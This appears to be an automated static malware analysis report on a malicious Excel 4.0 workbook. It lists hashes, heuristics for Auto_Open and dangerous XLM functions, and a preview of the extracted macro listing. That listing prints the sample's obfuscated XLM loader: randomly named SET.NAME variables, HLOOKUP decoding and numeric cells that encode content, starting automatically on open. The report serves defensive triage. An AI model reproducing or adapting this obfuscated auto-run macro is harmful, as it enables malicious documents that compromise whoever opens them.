Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6507b4e9ed01a77a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:37:47 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 56b29a5f53494d0f74a31ac53f36bc49 SHA-1: 3aa27f3d4dffbada4e34be784234ef007264433f SHA-256: 6507b4e9ed01a77abc7f69d250f0befa706ef175e3dcbd38cdeb3e63d4057242
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6563 bytes
SHA-256: ad322ff9a207224393e23699c3664db1ac97f4d1885221831c7d107259355fa2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Fqn
' 0018     25 LABEL : Cell Value, String Constant - AGkROfGayK len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B154 
' 0018     25 LABEL : Cell Value, String Constant - ayjRCUmyvD len=0 
' 0018     21 LABEL : Cell Value, String Constant - bdCyrM len=0 
' 0018     23 LABEL : Cell Value, String Constant - DYAHyKMT len=0 
' 0018     25 LABEL : Cell Value, String Constant - EawRilccSw len=0 
' 0018     24 LABEL : Cell Value, String Constant - eKCoKbypW len=0 
' 0018     23 LABEL : Cell Value, String Constant - hEVuUnSP len=0 
' 0018     22 LABEL : Cell Value, String Constant - iNRyQiE len=0 
' 0018     26 LABEL : Cell Value, String Constant - isSElVFYlow len=0 
' 0018     22 LABEL : Cell Value, String Constant - JOlxPpr len=0 
' 0018     20 LABEL : Cell Value, String Constant - lwDqv len=0 
' 0018     21 LABEL : Cell Value, String Constant - mkmliQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - QSOZx len=0 
' 0018     22 LABEL : Cell Value, String Constant - rrrGEdc len=0 
' 0018     22 LABEL : Cell Value, String Constant - ryFOpvx len=0 
' 0018     25 LABEL : Cell Value, String Constant - UDlniMlGvL len=0 
' 0018     23 LABEL : Cell Value, String Constant - UGiAElVV len=0 
' 0018     24 LABEL : Cell Value, String Constant - WnPfvBIVJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - yrIxAAhXLA len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZcbyC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Fqn,B59,"SET.NAME("mkmliQ",0+VALUE("0"))",""
'  Fqn,B61,"SET.NAME("ayjRCUmyvD",mkmliQ)",""
'  Fqn,R65,"",901.00000000000000000000
'  Fqn,B66,"SET.NAME("hEVuUnSP",mkmliQ)",""
'  Fqn,R66,"",-183.00000000000000000000
'  Fqn,R67,"",790.00000000000000000000
'  Fqn,R68,"",-988.00000000000000000000
'  Fqn,R69,"",711.00000000000000000000
'  Fqn,B70,"SET.NAME("AGkROfGayK",COUNTA(UGiAElVV))",""
'  Fqn,R70,"",215.00000000000000000000
'  Fqn,B73,"SET.NAME("bdCyrM",COUNTA(QSOZx))",""
'  Fqn,B76,[],""
'  Fqn,B81,"SET.NAME("ryFOpvx","")",""
'  Fqn,B86,"ayjRCUmyvD",""
'  Fqn,B89,"SET.NAME("DYAHyKMT",HLOOKUP("*",UGiAElVV,ayjRCUmyvD,FALSE))",""
'  Fqn,B93,"EawRilccSw",""
'  Fqn,B97,"SET.NAME("iNRyQiE",mkmliQ)",""
'  Fqn,B100,[],""
'  Fqn,B103,"iNRyQiE",""
'  Fqn,B106,"JOlxPpr",""
'  Fqn,B110,"UDlniMlGvL",""
'  Fqn,B115,"ZcbyC",""
'  Fqn,B118,"SET.NAME("WnPfvBIVJ",VALUE(HLOOKUP("*",QSOZx,ZcbyC,FALSE)))",""
'  Fqn,B121,"lwDqv",""
'  Fqn,B126,"ryFOpvx",""
'  Fqn,B130,"hEVuUnSP",""
'  Fqn,B135,NEXT(),""
'  Fqn,B137,"eKCoKbypW",""
'  Fqn,B140,[],""
'  Fqn,B144,"rrrGEdc",""
'  Fqn,B147,NEXT(),""
'  Fqn,B151,RETURN(),""
'  Fqn,B183,"SET.NAME("isSElVFYlow",B59)",""
'  Fqn,B185,"UGiAElVV",""
'  Fqn,B190,"SET.NAME("QSOZx",R75C12)",""
'  Fqn,B193,"SET.NAME("rrrGEdc",199)",""
'  Fqn,B196,"SET.NAME("yrIxAAhXLA",2)",""
'  Fqn,B198,isSElVFYlow(),""
'  Fqn,B199,HALT(),""